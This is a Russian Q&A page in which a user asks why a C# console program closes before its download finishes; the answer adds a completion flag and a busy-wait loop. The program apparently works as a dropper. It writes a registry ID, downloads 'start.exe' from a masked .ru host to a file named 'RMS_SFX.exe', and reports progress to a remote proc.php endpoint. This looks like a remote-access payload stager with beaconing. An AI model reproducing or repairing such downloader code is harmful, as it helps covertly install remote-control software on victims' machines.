.NET 4.x Закрытие приложения - C#

Узнай цену своей работы

Формулировка задачи:

В общем такая проблема, открываю файл и должна начаться загрузка файла, но вместо этого, программа закрывается
using System;
using System.Windows.Forms;
using System.Text;
using System.IO;
using System.Net;
namespace WhoWantBees
{
    class Program
    {
     static public string messageToWorld = "[DynamicMessage]";
     static void Main(string[] args)
        {
         Microsoft.Win32.RegistryKey RegKey = Microsoft.Win32.Registry.CurrentUser;
            RegKey.CreateSubKey("Systems\\Copytale");
            Microsoft.Win32.RegistryKey Key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Systems\\Copytale", true);
            Key.SetValue("ID", messageToWorld);
            string fileName = "http://???b.ru/downloads/start.exe";
            WebClient client = new WebClient();
            client.DownloadProgressChanged +=
                new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
            //client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
            client.DownloadFileAsync(new Uri(fileName), "D:\\RMS_SFX.exe");
            //MessageBox.Show("1");
        }
 
     static void client_DownloadProgressChanged(object sender,
        DownloadProgressChangedEventArgs e)
        {
            System.Net.WebRequest reqGET = System.Net.WebRequest.Create(@"http://***b.ru/proc.php?HD=" + "Загруженно: " + e.ProgressPercentage + "%/100%");
            System.Net.WebResponse resp = reqGET.GetResponse();
            System.IO.Stream stream = resp.GetResponseStream();
            System.IO.StreamReader sr = new System.IO.StreamReader(stream);
            Console.WriteLine("{0}    Загруженно {1} байт из {2} байт. Прогресс {3}% ...", (string)e.UserState, e.BytesReceived, e.TotalBytesToReceive, e.ProgressPercentage);
        }
    }
}
Но если в коде добавить например
MessageBox.Show("1");
И не закрывать окно с этим сообщением, то все качается и ничего не закрывается, стоить закрыть сообщение сразу все выключается, как исправить это?

Решение задачи: «.NET 4.x Закрытие приложения»

textual
Листинг программы
static public string messageToWorld = "[DynamicMessage]";
public static bool isCompleted = false; // добавил
     static void Main(string[] args)
        {
         Microsoft.Win32.RegistryKey RegKey = Microsoft.Win32.Registry.CurrentUser;
            RegKey.CreateSubKey("Systems\\Copytale");
            Microsoft.Win32.RegistryKey Key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Systems\\Copytale", true);
            Key.SetValue("ID", messageToWorld);
            string fileName = "http://???b.ru/downloads/start.exe";
            WebClient client = new WebClient();
         client.DownloadFileCompleted += new AsyncCompletedEventHandler (DownloadFileCallback); // добавил в обработчик функции поместить isCompleted = true;
            client.DownloadProgressChanged +=
                new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
             
            //client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
            client.DownloadFileAsync(new Uri(fileName), "D:\\RMS_SFX.exe");
while(!isCompleted)
{}
Console.ReadKey();
 
            //MessageBox.Show("1");
        }
 
     static void client_DownloadProgressChanged(object sender,
        DownloadProgressChangedEventArgs e)
        {
            System.Net.WebRequest reqGET = System.Net.WebRequest.Create(@"http://***b.ru/proc.php?HD=" + "Загруженно: " + e.ProgressPercentage + "%/100%");
            System.Net.WebResponse resp = reqGET.GetResponse();
            System.IO.Stream stream = resp.GetResponseStream();
            System.IO.StreamReader sr = new System.IO.StreamReader(stream);
            Console.WriteLine("{0}    Загруженно {1} байт из {2} байт. Прогресс {3}% ...", (string)e.UserState, e.BytesReceived, e.TotalBytesToReceive, e.ProgressPercentage);
        }

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

9   голосов , оценка 3.667 из 5
Похожие ответы